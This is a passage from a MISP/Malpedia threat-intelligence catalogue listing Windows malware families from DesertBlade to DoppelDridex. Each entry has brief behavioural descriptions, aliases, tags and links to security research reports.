https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

DesertBlade

According to Microsoft, this was used in a limited destructive malware attack in early March 2022 impacting a single Ukrainian entity. DesertBlade is responsible for iteratively overwriting and then deleting overwritten files on all accessible drives (sparing the system if it is a domain controller).

The tag is: *misp-galaxy:malpedia="DesertBlade"*

DesertBlade is also known as:

Table 3680. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.desertblade
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/
https://www.youtube.com/watch?v=mrTdSdMMgnk
https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf

DevilsTongue

According to Microsoft, DevilsTongue is a complex modular multi-threaded piece of malware written in C and C++ with several novel capabilities. For files on disk, PDB paths and PE timestamps are scrubbed, strings and configs are encrypted, and each file has a unique hash. The main functionality resides in DLLs that are encrypted on disk and only decrypted in memory, making detection more difficult. Configuration and tasking data is separate from the malware, which

makes analysis harder. DevilsTongue has both user mode and kernel mode capabilities.

The tag is: *misp-galaxy:malpedia="DevilsTongue"*

DevilsTongue is also known as:

Table 3681. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.devilstongue
https://www.microsoft.com/en-us/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/

Devil's Rat

The tag is: *misp-galaxy:malpedia="Devil's Rat"*

Devil's Rat is also known as:

Table 3682. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.devils_rat

DEVMAN

DEVMAN is a ransomware which shares a large part of its codebase with DragonForce ransomware. It is highly probable that the group used a DragonForce ransomware build and simply changed the extension added to the encrypted files (from .dragonforce_encrypted to .devman). In one of the first observed samples, the ransom note still claimed to be part of the DragonForce Ransomware Cartel.

The ransomware implements common features such as the deletion of ShadowCopies, and avoid encrypting files with some extensions present in a hard-coded list. The ransomware implements multiple encryption modes:

- Full encryption
- Header-only encryption
- Custom encryption

These modes allow the operator to choose between a quick or a strong encryption depending on the scenario. The ransomware also tries to connect to SMB folders.

DEVMAN ransomware creates a temporary session under the following registry key: `HKEY_CURRENT_USER\Software\Microsoft\RestartManager\Session0000`. The use of the Restart Manager to bypass file locks and ensure encrypted access to active user session files. This capability seems to be a legacy of Conti ransomware, which inspired DragonForce and DEVMAN. As part of this legacy, the ransomware use a hard-coded mutex to prevent multiple instances from running in parallel.

The tag is: *misp-galaxy:malpedia="DEVMAN"*

DEVMAN is also known as:

Table 3683. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.devman
https://www.group-ib.com/blog/dragonforce-ransomware/
https://any.run/cybersecurity-blog/devman-ransomware-analysis/
https://www.gov.il/BlobFolder/reports/alert_1907/he/ALERT-CERT-IL-W-1907.pdf

DevOpt

The tag is: *misp-galaxy:malpedia="DevOpt"*

DevOpt is also known as:

Table 3684. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.devopt
https://www.zscaler.com/blogs/security-research/introducing-devopt-multifunctional-backdoor-arsenal

Dexbia

The tag is: *misp-galaxy:malpedia="Dexbia"*

Dexbia is also known as:

- CONIME

Table 3685. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dexbia
https://vblocalhost.com/uploads/VB2020-Lunghi-Horejsi.pdf

Dexphot

Dexphot is a cryptominer Malware attacking windows machines to gain profit from their resources. It implements many techniques to evade common security systems and a file-less technology to become inject malicious behavior. According to Microsoft the Dexphot It hijacked legitimate system processes to disguise malicious activity. If not stopped, Dexphot is equipped by monitoring services and scheduled tasks triggering re-infection when defenders attempt to remove the malware.

The tag is: *misp-galaxy:malpedia="Dexphot"*

Dexphot is also known as:

Table 3686. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dexphot
https://www.microsoft.com/security/blog/2019/11/26/insights-from-one-year-of-tracking-a-polymorphic-threat/

Dexter

Dexter is a computer virus or point of sale malware which infects computers running Microsoft Windows and was discovered by IT security firm Seculert, in December 2012. It infects PoS systems worldwide and steals sensitive information such as Credit Card and Debit Card information.

The tag is: *misp-galaxy:malpedia="Dexter"*

Dexter is also known as:

- LusyPOS

Table 3687. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dexter
https://volatility-labs.blogspot.com/2012/12/unpacking-dexter-pos-memory-dump.html
https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Dexter-Malware—Getting-Your-Hands-Dirty/
http://contagiodump.blogspot.com/2012/12/dexter-pos-infostealer-samples-and.html
https://blog.trendmicro.com/trendlabs-security-intelligence/infostealer-dexter-targets-checkout-systems/
https://securitykitten.github.io/2014/12/01/lusypos-and-tor.html

Dharma

According to MalwareBytes, the Dharma Ransomware family is installed manually by attackers hacking into computers over Remote Desktop Protocol Services (RDP). The attackers will scan the Internet for computers running RDP, usually on TCP port 3389, and then attempt to brute force the password for the computer.

Once they gain access to the computer they will install the ransomware and let it encrypt the computer. If the attackers are able to encrypt other computers on the network, they will attempt to do so as well.

The tag is: *misp-galaxy:malpedia="Dharma"*

Dharma is also known as:

- Arena
- Crysis
- Wadhrama
- ncov

Table 3688. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma
https://www.trellix.com/blogs/research/phobos-stealthy-ransomware-that-operated-under-the-radar-until-now/
https://twitter.com/JakubKroustek/status/1087808550309675009
https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure
https://www.bleepingcomputer.com/news/security/new-arena-crysis-ransomware-variant-released/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://news.sophos.com/en-us/2020/08/12/color-by-numbers-inside-a-dharma-ransomware-as-a-service-attack/
https://cyberveille-sante.gouv.fr/cyberveille-sante/1821-france-retour-dexperience-suite-une-attaque-par-rancongiciel-contre-une
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://s3.documentcloud.org/documents/6986753/Secret-Service-Seattle-NIT-Warrant-Application.pdf
https://securelist.com/cis-ransomware/104452/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/
https://www.justice.gov/usao-dc/press-release/file/1021186/download
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/
https://www.group-ib.com/media/iran-cybercriminals/
http://web.archive.org/web/20191008053714/http://esec-lab.sogeti.com/posts/2016/06/07/the-story-of-yet-another-ransomfailware.html
https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/

https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox
https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023
https://thedfirreport.com/2020/06/16/the-little-ransomware-that-couldnt-dharma/
https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.acronis.com/en-us/articles/Dharma-ransomware/
https://www.zscaler.com/blogs/security-research/ransomware-delivered-using-rdp-brute-force-attack
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware
https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://www.carbonblack.com/2018/07/10/carbon-black-tau-threat-analysis-recent-dharma-ransomware-highlights-attackers-continued-use-open-source-tools/
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf
https://www.theregister.com/2019/11/11/dharma_decryption_promises_data_recovery/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://research.checkpoint.com/2018/the-ransomware-doctor-without-a-cure/
https://asec.ahnlab.com/en/54937/
https://www.vice.com/en/article/wxqz54/secret-service-network-investigative-technique-ransomware
https://blog.trendmicro.com/trendlabs-security-intelligence/dharma-ransomware-uses-av-tool-to-distract-from-malicious-activities/

DiamondFox

According to PCrisk, DiamondFox is highly modular malware offered as malware-as-a-service, and is for sale on various hacker forums. Therefore, cyber criminals who are willing to use DiamondFox do not necessarily require any technical knowledge to perform their attacks.

Once purchased, this malware can be used to log keystrokes, steal credentials (e.g., usernames, email addresses, passwords), hijack cryptocurrency wallets, perform distributed denial of service (DDoS) attacks, and to carry out other malicious tasks.

DiamondFox allows cyber criminals to choose which plug-ins to keep activated and see infection statistics in real-time.

The tag is: *misp-galaxy:malpedia="DiamondFox"*

DiamondFox is also known as:

- Crystal
- Gorynch
- Gorynych

Table 3689. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.diamondfox
https://blog.cylance.com/a-study-in-bots-diamondfox
http://blog.checkpoint.com/2017/05/10/diamondfox-modular-malware-one-stop-shop/
https://www.scmagazine.com/inside-diamondfox/article/578478/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://github.com/samoceyn/Diamondfox-Technical-Analysis-Report/blob/6375314ccecdf3fe450f975a384bcc1b16f068a8/D%C4%B0AMONDFOX%20Technical%20Analysis%20Report.PDF
https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1/
https://blog.malwarebytes.com/threat-analysis/2017/04/diamond-fox-p2/
https://fr3d.hk/blog/diamondfox-bank-robbers-will-be-replaced

Diavol

A ransomware with potential ties to Wizard Spider.

The tag is: *misp-galaxy:malpedia="Diavol"*

Diavol is also known as:

Table 3690. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.diavol
https://heimdalsecurity.com/blog/is-diavol-ransomware-connected-to-wizard-spider/
https://thedfirreport.com/2021/12/13/diavol-ransomware/
https://www.ic3.gov/Media/News/2022/220120.pdf
https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider
https://securityintelligence.com/posts/analysis-of-diavol-ransomware-link-trickbot-gang/
https://www.bleepingcomputer.com/news/security/fbi-links-diavol-ransomware-to-the-trickbot-cybercrime-group/

https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/
https://medium.com/walmartglobaltech/diavol-resurfaces-91dd93c7d922
https://www.bleepingcomputer.com/news/security/diavol-ransomware-sample-shows-stronger-connection-to-trickbot-gang/
https://www.scythe.io/library/adversary-emulation-diavol-ransomware-threatthursday
https://medium.com/walmartglobaltech/diavol-the-enigma-of-ransomware-1fd78ffda648
https://chuongdong.com/reverse%20engineering/2021/12/17/DiavolRansomware/
https://www.binarydefense.com/threat_watch/new-ransomware-diavol-being-dropped-by-trickbot/
https://arcticwolf.com/resources/blog/karakurt-web

DICELOADER

A RAT written in .NET, used by FIN7 since 2021. In some instances dropped by ps1.powertrash.

The tag is: *misp-galaxy:malpedia="DICELOADER"*

DICELOADER is also known as:

- Lizar

Table 3691. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.diceloader
https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319
https://www.mandiant.com/resources/blog/evolution-of-fin7
https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/

DILLJUICE

APT10's fork of the (open-source) Quasar RAT.

The tag is: *misp-galaxy:malpedia="DILLJUICE"*

DILLJUICE is also known as:

Table 3692. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dilljuice
https://securelist.com/apt-trends-report-q1-2021/101967/
https://threatvector.cylance.com/en_us/home/threat-spotlight-menupass-quasarrat-backdoor.html

DilongTrash

Downloader.

The tag is: *misp-galaxy:malpedia="DilongTrash"*

DilongTrash is also known as:

Table 3693. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dilongtrash
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/

Dimnie

The tag is: *misp-galaxy:malpedia="Dimnie"*

Dimnie is also known as:

Table 3694. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dimnie
http://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie-hiding-plain-sight/

DinodasRAT

The tag is: *misp-galaxy:malpedia="DinodasRAT"*

DinodasRAT is also known as:

- XDealer

Table 3695. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dinodas_rat
https://www.trendmicro.com/en_us/research/24/c/earth-krahang.html
https://www.welivesecurity.com/en/eset-research/operation-jacana-spying-guyana-entity/

DinoTrain

Downloader.

The tag is: *misp-galaxy:malpedia="DinoTrain"*

DinoTrain is also known as:

Table 3696. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dinotrain
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/

DirCrypt

The tag is: *misp-galaxy:malpedia="DirCrypt"*

DirCrypt is also known as:

Table 3697. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dircrypt
https://www.johannesbader.ch/2015/03/the-dga-of-dircrypt/

DirtyMoe

The tag is: *misp-galaxy:malpedia="DirtyMoe"*

DirtyMoe is also known as:

Table 3698. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dirtymoe
https://decoded.avast.io/martinchlumecky/dirtymoe-4/
https://decoded.avast.io/martinchlumecky/dirtymoe-5/
https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html
https://decoded.avast.io/martinchlumecky/dirtymoe-3/
https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/
https://decoded.avast.io/martinchlumecky/dirtymoe-1/

Disk Knight

The tag is: *misp-galaxy:malpedia="Disk Knight"*

Disk Knight is also known as:

Table 3699. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.disk_knight
https://www.lucadamico.dev/papers/malware_analysis/DiskKnight.pdf

DispCashBR

The tag is: *misp-galaxy:malpedia="DispCashBR"*

DispCashBR is also known as:

Table 3700. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dispcashbr
https://insights.oem.avira.com/atm-malware-targets-wincor-and-diebold-atms/
https://twitter.com/r3c0nst/status/1232944566208286720

DispenserXFS

The tag is: *misp-galaxy:malpedia="DispenserXFS"*

DispenserXFS is also known as:

Table 3701. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dispenserxfs
https://twitter.com/cyb3rops/status/1101138784933085191

DistTrack

The tag is: *misp-galaxy:malpedia="DistTrack"*

DistTrack is also known as:

- Shamoon

Table 3702. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack
https://unit42.paloaltonetworks.com/unit42-second-wave-shamoon-2-attacks-identified/
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ad6f8259-2bb4-4f7f-b8e1-710b35a4cbed&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf

https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://web.archive.org/web/20120818235442/https://www.symantec.com/connect/blogs/shamoon-attacks
https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://www.zdnet.com/article/fbi-warns-about-ongoing-attacks-against-software-supply-chain-companies/
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://web.archive.org/web/20190331181353/https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail
http://www.vinransomware.com/blog/detailed-threat-analysis-of-shamoon-2-0-malware
https://content.fireeye.com/m-trends/rpt-m-trends-2017
https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf
https://malwareindepth.com/shamoon-2012/
https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf
https://securelist.com/shamoon-the-wiper-copycats-at-work/
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/?adbsc=social68389776&adbid=804134348374970368&adbpl=tw&adbpr=4487645412
http://contagiodump.blogspot.com/2012/08/shamoon-or-disttracka-samples.html
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/
https://www.codeandsec.com/Sophisticated-CyberWeapon-Shamoon-2-Malware-Analysis
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/

Divergent

The tag is: *misp-galaxy:malpedia="Divergent"*

Divergent is also known as:

- Novter

Table 3703. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.divergent
https://documents.trendmicro.com/assets/Tech-Brief-New-Fileless-Botnet-Novter-Distributed-by-KovCoreG-Malvertising-Campaign.pdf
https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/
https://www.cert-pa.it/notizie/devergent-malware-fileless/
https://blog.trendmicro.com/trendlabs-security-intelligence/new-fileless-botnet-novter-distributed-by-kovcoreg-malvertising-campaign/
https://blog.talosintelligence.com/2019/09/divergent-analysis.html

Diztakun

The tag is: *misp-galaxy:malpedia="Diztakun"*

Diztakun is also known as:

Table 3704. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.diztakun
https://www.elastic.co/de/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Dizzyvoid

The tag is: *misp-galaxy:malpedia="Dizzyvoid"*

Dizzyvoid is also known as:

- Errorroot

Table 3705. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dizzyvoid
https://vblocalhost.com/uploads/2021/09/VB2021-12.pdf

DLRAT

The tag is: *misp-galaxy:malpedia="DLRAT"*

DLRAT is also known as:

Table 3706. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dlrat
https://blog.talosintelligence.com/lazarus_new_rats_dlang_and_telegram/

DMA Locker

The tag is: *misp-galaxy:malpedia="DMA Locker"*

DMA Locker is also known as:

Table 3707. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dma_locker
https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-strikes-back/
https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-a-new-ransomware-but-no-reason-to-panic/
https://blog.malwarebytes.com/threat-analysis/2016/05/dma-locker-4-0-known-ransomware-preparing-for-a-massive-distribution/

DMSniff

DMSniff is a point-of-sale malware previously only privately sold. It has been used in breaches of small- and medium-sized businesses in the restaurant and entertainment industries. It uses a domain generation algorithm (DGA) to create lists of command-and-control domains on the fly.

The tag is: *misp-galaxy:malpedia="DMSniff"*

DMSniff is also known as:

Table 3708. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dmsniff
https://medium.com/walmartglobaltech/gazavat-expiro-dmsniff-connection-and-dga-analysis-8b965cc0221d
https://www.flashpoint-intel.com/blog/dmsniff-pos-malware-actively-leveraged-target-medium-sized-businesses/

DneSpy

DneSpy collects information, takes screenshots, and downloads and executes the latest version of other malicious components in the infected system. The malware is designed to receive a “policy” file in JSON format with all the commands to execute. The policy file sent by the C&C server can be changed and updated over time, making dneSpy flexible and well-designed. The output of each

executed command is zipped, encrypted, and exfiltrated to the C&C server. These characteristics make dneSpy a fully functional espionage backdoor.

The tag is: *misp-galaxy:malpedia="DneSpy "*

DneSpy is also known as:

Table 3709. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dnespy
https://www.trendmicro.com/en_us/research/20/j/operation-earth-kitsune-a-dance-of-two-new-backdoors.html

DNSChanger

The tag is: *misp-galaxy:malpedia="DNSChanger"*

DNSChanger is also known as:

Table 3710. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dnschanger
https://www.johannesbader.ch/2016/01/the-dga-in-alureon-dnschanger/

DNSMessenger

DNSMessenger makes use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker.

The tag is: *misp-galaxy:malpedia="DNSMessenger"*

DNSMessenger is also known as:

- TEXTMATE

Table 3711. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dnsmessenger
https://blog.talosintelligence.com/2017/10/dnsmessenger-sec-campaign.html
https://blog.talosintelligence.com/2017/03/dnsmessenger.html
http://wraithhacker.com/2017/10/11/more-info-on-evolved-dnsmessenger/
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf

https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/

DNSpionage

The tag is: *misp-galaxy:malpedia="DNSpionage"*

DNSpionage is also known as:

- Agent Drable
- AgentDrable
- Webmask

Table 3712. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dnspionage
https://www.virusbulletin.com/uploads/pdf/magazine/2019/VB2019-Mercer-Rascagneres.pdf
https://www.youtube.com/watch?v=ws1k44ZhJ3g
https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/
https://marcoramilli.com/2019/04/23/apt34-webmask-project/
https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.lastline.com/labsblog/threat-actor-cold-river-network-traffic-analysis-and-a-deep-dive-on-agent-drable/
https://www.mandiant.com/resources/blog/global-dns-hijacking-campaign-dns-record-manipulation-at-scale
https://blog-cert.opmd.fr/dnspionage-focus-on-internal-actions/
https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/
https://www.secureworks.com/research/threat-profiles/cobalt-edgewater
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html
https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html
https://www.us-cert.gov/ncas/alerts/AA19-024A
https://nsfocusglobal.com/apt34-event-analysis-report/

dnWipe

The tag is: *misp-galaxy:malpedia="dnWipe"*

dnWipe is also known as:

Table 3713. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dnwipe
https://www.trellix.com/en-us/about/newsroom/stories/research/wipermania-an-all-you-can-wipe-buffet.html

DogHousePower

DogHousePower is a PyInstaller-based ransomware targeting web and database servers. It is delivered through a PowerShell downloader and was hosted on Github.

The tag is: *misp-galaxy:malpedia="DogHousePower"*

DogHousePower is also known as:

- Shelma

Table 3714. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doghousepower
http://www1.paladion.net/hubfs/Newsletter/DogHousePower-%20Newly%20Identified%20Python-Based%20Ransomware.pdf

Minodo

Since late February 2023, Minodo Backdoor campaigns have been employed to deliver either the Project Nemesis information stealer or more sophisticated backdoors like Cobalt Strike. This backdoor collects basic system information, which it then transmits to the C2 server. In return, it receives an AES-encrypted payload. Notably, the Minodo Backdoor is designed to contact a different C2 address for domain-joined systems. This suggests that more capable backdoors, such as Cobalt Strike, are downloaded on higher-value targets instead of Project Nemesis.

The tag is: *misp-galaxy:malpedia="Minodo"*

Minodo is also known as:

Table 3715. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.domino

https://securityintelligence.com/posts/ex-conti-fin7-actors-collaborate-new-domino-backdoor
https://securityintelligence.com/posts/ex-conti-fin7-actors-collaborate-new-domino-backdoor/

Donex

The tag is: *misp-galaxy:malpedia="Donex"*

Donex is also known as:

Table 3716. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.donex
https://isc.sans.edu/diary/rss/30812
https://www.shadowstackre.com/analysis/donex
https://dissect.ing/posts/donex/
https://dissect.ing/posts/donex-pt2/

DONOT

Donot malware is a sophisticated, high-level malware toolkit designed to collect and exfiltrate information from vulnerable systems. It has been used in targeted attacks against government and military organizations in Asia. Donot malware is highly complex and well-crafted, and it poses a serious threat to information security.

The tag is: *misp-galaxy:malpedia="DONOT"*

DONOT is also known as:

Table 3717. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.donot
https://blog.morphisec.com/apt-c-35-new-windows-framework-revealed
https://research.checkpoint.com/2024/foxit-pdf-flawed-design-exploitation/
https://labs.k7computing.com/index.php/the-donot-apt/

donut_injector

Donut is an open-source in-memory injector/loader, designed for execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. It was used during attacks against U.S. organisations according to Threat Hunter Team (Symantec) and U.S. Defence contractors (Unit42). Github: https://github.com/TheWover/donut

The tag is: *misp-galaxy:malpedia="donut_injector"*

donut_injector is also known as:

- Donut

Table 3718. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.donut_injector
https://harfanglab.io/insidethelab/supposed-grasshopper-operators-impersonate-israeli-gov-private-companies-deploy-open-source-malware/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us
https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html
https://thewover.github.io/Introducing-Donut/
https://st.drweb.com/static/new-www/news/2024/september/Study_of_a_targeted_attack_on_a_Russian_rail_freight_operator_en.pdf
https://www.swisspost-cybersecurity.ch/news/the-clickfix-deception

DoorMe

The tag is: *misp-galaxy:malpedia="DoorMe"*

DoorMe is also known as:

Table 3719. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme
https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry
https://hitcon.org/2023/CMT/slide/Unmasking%20CamoFei_An%20In-depth%20Analysis%20of%20an%20Emerging%20APT%20Group%20Focused%20on%20Healthcare%20Sectors%20in%20East%20Asia.pdf
https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns
http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/

DOPLUGS

The tag is: *misp-galaxy:malpedia="DOPLUGS"*

DOPLUGS is also known as:

Table 3720. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doplugs
https://lab52.io/blog/mustang-pandas-plugx-new-variant-targetting-taiwanese-government-and-diplomats/
https://go.recordedfuture.com/hubfs/reports/cta-2022-1223.pdf
https://www.trendmicro.com/en_us/research/24/b/earth-preta-campaign-targets-asia-doplugs.html
https://files.speakerdeck.com/presentations/6d01e26c85a444d0a3f888e45629635f/hodur_recon2024.pdf
https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx
https://research.checkpoint.com/2023/chinese-threat-actors-targeting-europe-in-smugx-campaign/
https://hunt.io/blog/darkpeony-certificate-patterns

DoppelDridex

DoppelDridex is a fork of Indrik Spider's Dridex malware. DoppelDridex has been run as a parallel operation to Dridex with a different malware versioning system, different RSA key, and with different infrastructure.

The tag is: *misp-galaxy:malpedia="DoppelDridex"*

DoppelDridex is also known as:

Table 3721. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doppeldridex
https://inquest.net/blog/2021/12/20/dont-bring-dridex-home-holidays
https://cyber-anubis.github.io/malware%20analysis/dridex/
https://medium.com/s2wlab/operation-synctrek-e5013df8d167
https://www.proofpoint.com/us/blog/threat-insight/ta575-uses-squid-game-lures-distribute-dridex-malware
https://blogs.blackberry.com/en/2021/11/zebra2104
https://security-soup.net/doppeldridex-delivered-via-slack-and-discord/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://redcanary.com/blog/grief-ransomware/
https://www.0ffset.net/reverse-engineering/malware-analysis/dridex-veh-api-obfuscation/
https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/
https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/

https://www.fortinet.com/blog/threat-research/new-dridex-variant-being-spread-by-crafted-excel-document?&web_view=true
https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://twitter.com/BrettCallow/status/1453557686830727177?s=20
